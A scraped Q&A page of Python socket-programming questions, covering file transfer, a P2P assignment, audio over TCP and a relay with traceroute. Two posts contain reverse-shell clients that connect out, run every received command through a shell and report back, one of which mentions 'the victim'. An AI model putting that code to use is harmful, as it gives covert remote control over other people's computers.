Python socket client doesn't exit - python

I'm trying to develop my simple server/client scripts to send some useful information about systems using platform module and saved in .txt file on the server side ( in order o improve my programming skills ) but when I run the client side it doesn't send any information till I closed using Ctrl+c but what I really want is the client to send informations then it close itself I tried the sys.exit but it doesn't work
this is the server Side
#!/usr/bin/python
import socket
import sys
host = ' '
port = 1060
s = socket.socket()
s.bind(('',port)) #bind server
s.listen(2)
conn, addr = s.accept()
print addr , "Now Connected"
response = conn.recv(1024)
print response
saved = open('saved_data.txt','w+')
saved.write(response) # store the received information in txt file
conn.close()
and this is the client side
#!/usr/bin/python
import socket
import platform
import sys
def socket_co():
port = 1060
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.107', port)) # my computer address and the port
system = platform.system()
node = platform.node()
version = platform.version()
machine = platform.machine()
f = s.makefile("r+") #making file to store information ( as I think it do ) using the makefile()
f.write('system: ' + str(system) + '\n')
f.write('node: ' + str(node) + '\n')
f.write('version: ' + str(version) + '\n')
f.write('machine: ' + str(machine) + '\n')
sete = f.readlines() #read lines from the file
s.send(str(sete))
while True:
print "Sending..."
s.close()
sys.exit() #end the operation
def main():
socket_co()
if __name__ == '__main__':
main()

Data is cached in memory before sending. You have to flush after writing:
f = s.makefile("r+") #making file to store information ( as I think it do ) using the makefile()
f.write('system: %s\n' % system)
f.write('node: %s\n' % node)
f.write('version: %s\n' % version)
f.write('machine: %s\n' % machine)
f.flush()

while True:
print "Sending..."
loops forever. So the problem is not in the send part.

Related

how to get user PC name in socket programming python

I write a socket programming code client.py and server.py and it work awesome. Now I face a little problem I want to get the name of PC and show it like this device is connected below is the code. I tried different method but all fail. Basically, I have a couple Windows computers on my network that will be running a python script. So through this method I will know all computer name
client.py
import os, socket, subprocess ,getpass
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.100.9'
port = 9995
s.connect((host, port))
# userName = getpass.getuser()
# s.send(str.encode(userName))
# print(userName)
while True:
try:
data = s.recv(800000)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
# print(output_str) # if you want to show the output to the victim
except:
shell()
if __name__ == "__main__":
shell()
below is server code
server.py
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(80000000)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
it gave me output like this
output::
----Clients----
0 192.168.100.9 55747
I want output like this:::
output::
----Clients----
0 PC_NAME 192.168.100.9 55747
You can attempt to call socket.gethostbyaddr() on the IP address.
However, that depends on the DNS configuration of the server system - there's no real guarantee that the machines have registered their names with the local name server.

How would I take a screenshot on a remote Windows machine and send it back?

I'm trying to take a screenshot on a remote Windows machine. For example, when you input the command "screenshot" on the server, it takes a screenshot on the client machine, saves it to a directory, and sends it back to the server. I already figured out the first part, but can't figure out how to send the saved file back.
Server:
import socket
import sys
import subprocess
host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
sendCommands(conn)
def sendCommands(conn):
cmd = input('console > ')
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
clientResponse = str(conn.recv(1024), "utf-8")
print('\n' + clientResponse, end="")
Client:
import os
import sys
import subprocess
import socket
import autopy
def socketCreate():
global host
global port
global s
host = '192.168.1.25'
port = 4444
s = socket.socket()
def socketConnect():
global host
global port
global s
s.connect((host, port))
def recieveCommands():
global s
while True:
data = s.recv(1024)
if data[:].decode("utf-8") == 'screenshot':
path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
screenshot = r'\screenshot.png'
if not os.path.exists(path):
os.makedirs(path)
try:
bitmap = autopy.bitmap.capture_screen()
bitmap.save(path + screenshot)
tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
s.send(str.encode(tookScreenShot))
except:
screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
str(screenshotFailed)
s.send(str.encode(screenshotFailed))
else:
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode("utf-8"))
s.close()
def main():
socketCreate()
socketConnect()
recieveCommands()
main()
You should send the as following from the client
f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
print 'Sending...'
s.send(file)
file = f.read(1024)
f.close()
print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close()
on server
while True:
file = open('C:/received.jpg','w')
l = s.recv(1024)
while l:
print "Receiving..."
file.write(l)
l = s.recv(1024)
file.close()
print "Done Receiving"
s.close()

Napster-style peer-to-peer (P2P) file sharing system using rpyc and message-orianted(Python)

I have a task in which I should make Napster-style peer-to-peer (P2P) file sharing system. I used rpyc and message-oriented at the same time, but I have a problem when I download a file from other peer - the code just runs infinite and never stops, no output.
Peer has two classes Client and server
from socket import *
import socket
import os
import pickle
import rpyc
from rpyc.utils.server import ThreadedServer
from const import *
class Client():
conn = rpyc.connect(HOST, PORT) # Connect to the index_server
def lookUp(self,filename):
PeerList = self.conn.root.exposed_search(filename)
if PeerList==False:
print "no File with this Name"
else:
print PeerList
def register_on_server(self,Filename,port):
self.conn.root.exposed_register(Filename,port)
def download(self, serverhost, serverport, filename): # function download a file from another peer
sock.connect((serverhost,serverport))
print("Client Connected to download a file")
sock.send(pickle.dumps(filename))
localpath = "C:\Users\aa\PycharmProjects\task1\downloadfiles"
data = sock.recv(1024)
totalRecv = len(data)
f = open(localpath + '/' + filename, 'wb')
f.write(data)
filesize = os.path.getsize('C:\Users\aa\PycharmProjects\task1\uploadfiles' + '/' + filename)
while totalRecv < filesize:
data = sock.recv(1024)
totalRecv += len(data)
f.write(data)
print("File is downloaded Successfully")
sock.close()
class Server(rpyc.Service):
def __init__(self, host, port):
self.host = host
self.port = port # the port it will listen to
global sock
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket for incoming calls
sock.bind((self.host, self.port)) # bind socket to an address
sock.listen(5) # max num connections
def obtain(self):
remotepath = "C:\Users\aa\PycharmProjects\task1\uploadfiles"
while True:
client, address = sock.accept()
print("Client Connected to download a file")
try:
filename = client.recv(1024)
if os.path.exists(remotepath + '/' + filename):
filesize = os.path.getsize(remotepath + '/' + filename)
if filesize > 0:
client.send(str(filesize))
with open(remotepath + '/' + filename, 'rb') as f:
bytes = f.read(1024)
client.send(bytes)
while bytes != "":
bytes = f.read(1024)
client.send(bytes)
else:
client.send("Empty")
else:
client.send("False")
except:
client.close()
return False
if __name__ == "__Server__":
server = ThreadedServer(Server, hostname=Server.host, port=Server.port)
server.start()
{Peer2}
from time import sleep
import rpyc
from peer import *
from const import *
peer2 = Client()
print ('1-register')
print ('2-search')
print ('3-download')
while(True):
commend = raw_input("enter your commend")
if commend == 'register':
filename = raw_input("write the file name")
peer2.register_on_server(filename,PeeR2PORT)
elif commend == 'search':
filename = raw_input("write the file name")
peer2.lookUp(filename)
elif commend == 'download':
port = raw_input("enter the other peer port")
host = raw_input("enter the other peer host")
filename = raw_input("enter the file name")
peer1 = Server(PeeR1HOST, PeeR1PORT)
peer1.obtain()
peer2.download(host, port, filename)
You create a call to peer1.obtain() which runs the peer to accept calls from different peers to download the file. However, you try to call peer1.download() from the same peer while it is already listening for incoming calls. You need to separate peer1.download() to run from different peer.
You need to revise how Napster FileSharing System works.
We are not here to solve your assignment. You seem to have good knowledge with python, the issue is that you do not understand the task good enough. We can help you with understanding its concept, helping you with syntax errors,..,etc.

audio over python tcp error

I am writing a simple python tcp code to send over a wav file however I seem to be getting stuck. can someone explain why my code is not working correctly?
Server Code
import socket, time
import scipy.io.wavfile
import numpy as np
def Main():
host = ''
port = 3333
MAX = 65535
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
print "Listening on port..." + str(port)
c, addr = s.accept()
print "Connection from: " + str(addr)
wavFile = np.array([],dtype='int16')
i = 0
while True:
data = c.recvfrom(MAX)
if not data:
break
# print ++i
# wavfile = np.append(wavfile,data)
print data
timestr = time.strftime("%y%m%d-%h%m%s")
print timestr
# wavF = open(timestr + ".wav", "rw+")
scipy.io.wavfile.write(timestr + ".wav",44100, data)
c.close()
if __name__ == '__main__':
Main()
Client Code
host, port = "", 3333
import sys , socket
import scipy.io.wavfile
# create a tcp/ip socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect the socket to the port where the server is listening
server_address = (host, port)
print >>sys.stderr, 'connecting to %s port %s' % server_address
input_data = scipy.io.wavfile.read('Voice 005.wav',)
audio = input_data[1]
sock.connect(server_address)
print 'have connected'
try:
# send data
sock.sendall(audio)
print "sent" + str(audio)
sock.close()
except:
print('something failed sending data')
finally:
print >>sys.stderr, 'closing socket'
print "done sending"
sock.close()
Please help someone, I want to send an audio file to my embedded device with tcp since it crucial data to be processed on the embedded device.
Not sure why you go to the trouble of using scipy and numpy for this, since you can just use the array module to create binary arrays that will hold the wave file. Can you adapt and use the simple client/server example below?
(Note: I've copy/pasted a small Windows sound file called 'tada.wav' to the same folder to use with the test scripts.)
Code for the server script:
import socket
HOST = '' # Symbolic name meaning all available interfaces
PORT = 50007 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
print('Listening...')
conn, addr = s.accept()
print('Connected by', addr)
outfile = open("newfile.wav", 'ab')
while True:
data = conn.recv(1024)
if not data: break
outfile.write(data)
conn.close()
outfile.close()
print ("Completed.")
Code for the client:
from array import array
from os import stat
import socket
arr = array('B') # create binary array to hold the wave file
result = stat("tada.wav") # sample file is in the same folder
f = open("tada.wav", 'rb')
arr.fromfile(f, result.st_size) # using file size as the array length
print("Length of data: " + str(len(arr)))
HOST = 'localhost'
PORT = 50007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(arr)
print('Finished sending...')
s.close()
print('done.')
This works for me (though only tested by running both on localhost) and I end up with a second wave file that's an exact copy of the one sent by the client through the socket.

Sending, receiving with python socket

I'm currently trying to write process that embeds a sequence of n IPs into packets and send it off to n server. Each server remove the outermost IP and then forward it to said IP. This is exactly like tunneling I know. During the process I also want the server to do a traceroute to where it's forwarding the packet and send that back to the previous server.
My code currently will forward the packets but it's stuck on performing the traceroute and getting it. I believe it's currently stuck in the while loop in the intermediate server. I think it's having something to do with me not closing the sockets properly. Any suggestion?
Client
#!/usr/bin/env python
import socket # Import socket module
import sys
import os
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 17353 # Reserve a port
FILE = raw_input("Enter filename: \n ")
NIP = raw_input("Enter Number of IPs: ")
accepted_IP = 0
IP= []
while accepted_IP < int(NIP):
IP.append(raw_input("Enter destination IP: \n"))
accepted_IP +=1
#cIP = raw_input("Enter intemediate IP: \n ")
ipv = raw_input("Enter IP version... 4/6")
try:
s.connect((host, port))
print "Connection sucessful!"
except socket.error as err:
print "Connection failed. Error: %s" %err
quit()
raw = open(FILE,"rb")
size = os.stat(FILE).st_size
ls = ""
buf = 0
for i in IP:
while len(i) < 15:
i += "$"
ls += i
header = ipv+NIP+ls+FILE
print ls
s.sendall(header + "\n")
print "Sent header"
data = raw.read(56) +ipv + NIP + ls
print "Begin sending file"
while buf <= size:
s.send(data)
print data
buf += 56
data = raw.read(56) + ipv + NIP + ls
raw.close()
print "Begin receiving traceroute"
with open("trace_log.txt","w") as tracert:
trace = s.recv(1024)
while trace:
treacert.write(trace)
if not trace: break
trace = s.recv(1024)
print "finished forwarding"
s.close()
Intermediate server
#!/usr/bin/env python
import socket
import subprocess
srvsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
srvsock.bind( (socket.gethostname(), 17353) )
srvsock.listen( 5 ) # Begin listening with backlog of 5
# Run server
while True:
clisock, (remhost, remport) = srvsock.accept() #Accept connection
print
d = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
header = ""
while True:
b = clisock.recv(1)
if b == "\n":
break
header += b
num = 15 * int(header[1]) + 2
file_name = header[num:]
nheader = header[0]+ str(int(header[1])-1) + header[17:]
d.connect((socket.gethostname(), 12355))
d.sendall(nheader+'\n')
print "begin forwarding"
while True:
raw = clisock.recv(56 + num) # recieve data
ip = raw[-15:] # extract IP
ipv, NIP = raw[57] , str(int(raw[57])-1)
if NIP == "0":
while (raw):
print "stuck in this loop"
d.send(raw[:56])
raw=clisock.recv(56+num)
if not raw: break
else:
while (raw):
print raw[:57] + NIP + raw[59:-15]
print "\n"
d.send(raw[:57] + NIP + raw[59:-15])
raw = clisock.recv(56+num)
if not raw :break
print "Finish forwarding"
d.close()
break
print "Begin traceroute"
tracrt = subprocess.Popen(['traceroute','google.com'], stdout=subprocess.PIPE)
s.sendall(tracrt.communicate()[0])
print "Finished"
clisock.close()
s.close()
Destination server
import socket
s = socket.socket()
host = socket.gethostname()
port = 12355
s.bind((host,port))
s.listen(5)
while True:
csock, (client, cport) = s.accept()
print client
header = ""
while True:
b = csock.recv(1)
if b == "\n":
break
header += b
file_name = header[2:]
r = open("File_test_"+file_name,"wb")
print 'Opening file for writing'
while True:
print "Begin writing file" + " " + file_name
raw = csock.recv(56)
while (raw):
print raw
r.write(raw)
raw = csock.recv(56)
r.flush()
r.close()
print "finish writing"
break
print "closing connection"
csock.close()
s.close()
The intermediate server is stuck in clisock.recv() in this loop because the break condition not raw isn't met before the connection is closed by the client, and the client doesn't close the connection before receiving the traceroute from the intermediate server, so they are waiting on each other.
To remedy this, you might consider sending the file size to the intermediate server, so that it can be used to determine when the receive loop is done. Or, if your platform supports shutting down one half of the connection, you can use
s.shutdown(socket.SHUT_WR)
in the client after sending the file.

Categories